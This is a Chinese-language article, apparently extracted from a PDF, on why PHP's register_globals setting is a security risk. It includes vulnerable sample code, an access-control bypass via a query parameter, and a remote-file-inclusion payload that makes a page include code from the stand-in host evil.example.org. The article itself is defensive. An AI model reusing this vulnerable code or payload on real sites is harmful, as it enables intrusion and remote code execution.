background image

PHP 安全之 Register Globals

register_globals 参数在 

php

 的 4.2.0 及以上版本中默认为屏蔽。虽然这并不认为是一个安全

漏洞,但是的确是一个安全风险。因此,应该始终在开发过程中屏蔽

register_globals。

为什么这是一个安全风险?每一种情形都需要的单独说明才能描述清楚,对于所有情形只
给出一个恰当的例子是非常困难的。不管怎样,最常见的例子是在

PHP 手册中描述的:

<?phpif 

(authenticated_user()){$authorized 

true;}if 

($authorized){include 

'/highly/sensitive/data.php';}?> 当 参 数 register_globals 开 启 的 时 候 , 这 个 页 面 可 以 使 用 ?
authorized=1 的参数访问,从而绕过访问控制。当然,这个明显的漏洞是糟糕的开发造成的,
而不是

register_globals 的原因,但是这明显增加了产生危险漏洞的可能。消除了这个影响,

普通的全局变量(比如本例中的

$authorized)将不再受到客户端提交的数据的影响。最好的

方式是初始化全部变量并且将参数

error_reporting 设置为 E_ALL,这样使用未初始化的变

量就不会在开发的时候被忽略。
另外一个关于

register_globals 的例子是在使用 include 包含动态路径的时候可能产生问题:

<?phpinclude "$path/scr

ip

t.php";?>当参数 register_globals 开启的时候,这个页面可以使用 ?

path=http%3A%2F%2Fevil.example.org%2F%3F 的参数访问,使得本例中的代码和下面的代
码等同:
<?phpinclude 'http://evil.example.org/?/script.php';?>如果参数 allow_url_fopen 开启的时候(即
便是在

php.ini-recommended 中,默认也是开启的),这将如同包含本地文件一般包含

http://evil.example.org/

样的远程文件。这是一个常见的安全漏洞,甚至在一些非常著名的

开源项目中都发现。
初始化

$path 可以避免这个隐患,而且不用屏蔽参数 register_globals。然而开发人员的失误可

能会产生没有初始化的变量,修改全局配置以屏蔽参数

register_globals 可以尽可能的避免

这种隐患被忽视。
便利性总是另人愉快的,过去我们不得不手工区分哪些是表单数据,哪些是普通变量。而使

$_POST 和$_GET 内建全局数组也是非常方便的,并且承担因为开启参数 register_globals

造成的风险很不值得。虽然我完全不同意将开启参数

register_globals 等同于薄弱的安全,但

是我还是强烈建议将其设置为关闭。
需要补充说明的是,屏蔽参数

register_globals 会帮助开发人员更加留意数据的来源,而这

正是一个有安全意识的开发人员所应该具备的素质。